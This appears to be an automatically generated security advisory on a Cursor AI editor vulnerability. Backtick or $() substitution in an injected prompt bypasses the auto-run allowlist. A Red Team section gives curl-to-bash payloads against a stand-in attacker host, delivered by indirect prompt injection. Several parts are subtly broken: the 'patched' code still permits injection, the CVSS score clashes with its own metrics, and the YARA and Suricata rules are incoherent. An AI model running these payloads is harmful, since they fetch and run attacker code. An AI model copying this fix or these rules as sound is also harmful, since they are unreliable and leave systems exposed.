CVE-2025-54131

Executive Summary

CVE-2025-54131 is a critical security vulnerability in Cursor, an AI-powered code editor. The flaw allows an attacker to bypass the terminal command allowlist when Cursor is configured in "auto-run" mode. By injecting a backtick () or $(cmd)` into a prompt, an attacker can execute arbitrary commands on the victim's machine without user approval. This vulnerability is particularly dangerous when chained with indirect prompt injection attacks, where a malicious code snippet or file can trigger the exploit. The vendor has released a fix in version 1.3.

Supply Chain & Package Security

Cursor is a desktop application, not a package library. However, the vulnerability highlights risks in AI-assisted development tools that can execute code or commands based on user prompts. The attack vector relies on social engineering or supply chain compromise (e.g., a malicious repository or code snippet) to deliver the malicious prompt.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Attack Vector (AV): Network (N) – The attacker can deliver the malicious prompt remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the malicious file or prompt in Cursor.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Arbitrary commands can read sensitive files.
• Integrity (I): High (H) – Arbitrary commands can modify or delete files.
• Availability (A): None (N) – The vulnerability does not directly impact availability.

Threat Level: Medium. The vulnerability requires user interaction and a specific configuration (allowlist mode), but the impact is high if exploited.

Deep Dive & Mechanics

The vulnerability exists in Cursor's "auto-run" mode, which allows users to configure an allowlist of trusted terminal commands. When a user opens a file or prompt that contains a command matching the allowlist, Cursor automatically executes it without asking for approval.

The flaw is in the allowlist bypass mechanism. An attacker can inject a backtick () or $(cmd)into a prompt. For example, if the allowlist includesls`, an attacker can craft a prompt like:

`malicious_command`

or

$(malicious_command)

This bypasses the allowlist check because the injected command is not directly matched against the allowlist. Instead, it is interpreted by the shell, leading to arbitrary command execution.

The attack is typically chained with indirect prompt injection, where a malicious code snippet or file contains the injected command. When the victim opens the file in Cursor, the command is executed automatically.

Vulnerable vs. Patched Code

Vulnerable Code (Cursor < 1.3):

The allowlist check likely uses a simple string match or regex that does not account for shell injection. For example:

def is_allowed(command):
    return command in ALLOWLIST

This fails to detect injected commands like `malicious_command`.

Patched Code (Cursor >= 1.3):

The patched version likely sanitizes the command before checking the allowlist. For example:

import shlex

def is_allowed(command):
    # Parse the command to extract the base command
    parsed = shlex.split(command)
    base_command = parsed[0] if parsed else ""
    return base_command in ALLOWLIST

This ensures that only the base command (e.g., ls) is checked against the allowlist, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Cursor version < 1.3 with auto-run mode enabled and an allowlist configured.
• Victim must open a malicious file or prompt.

Exploit Steps:

1. Create a malicious file (e.g., malicious.txt) containing:

   `curl http://attacker.com/steal.sh | bash`
   

2. Send the file to the victim via email, chat, or a repository.

3. When the victim opens the file in Cursor, the command is executed automatically.

Alternative Payload:

$(curl http://attacker.com/steal.sh | bash)

Blue Team

Detection:

• Monitor for unusual shell commands executed by Cursor.
• Look for patterns like backticks or $() in file contents opened by Cursor.

Prevention:

• Disable auto-run mode or require approval for all terminal commands.
• Update Cursor to version 1.3 or later.
• Educate users about the risks of opening untrusted files in AI-powered editors.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available)
• Network Indicators: Outbound connections to attacker-controlled servers (e.g., attacker.com).
• Process Indicators: Cursor process spawning unexpected child processes (e.g., bash, curl, wget).
• Registry/File System: Presence of files containing backtick or $() patterns.

Detection Engineering

YARA Rule

rule CVE_2025_54131_Cursor_Injection
{
    meta:
        description = "Detects Cursor allowlist bypass via backtick or $() injection"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54131"
    strings:
        $backtick = "`"
        $dollar_paren = "$("
    condition:
        any of them
}

Sigma Rule

title: Cursor Allowlist Bypass via Shell Injection
id: cve-2025-54131
status: experimental
description: Detects execution of commands with backtick or $() patterns in Cursor
author: Valters IT
date: 2025-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\Cursor.exe'
        CommandLine|contains:
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell features in Cursor
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-54131 Cursor Allowlist Bypass"; content:"`"; depth:1; content:"$("; distance:0; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Cursor to version 1.3 or later.
2. Disable auto-run mode if not required.
3. Review and restrict the allowlist to only essential commands.

Long-term Measures:

• Implement input sanitization for all user-provided content.
• Use sandboxing or containerization for AI-powered tools.
• Conduct regular security audits of third-party software.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valters-it.com.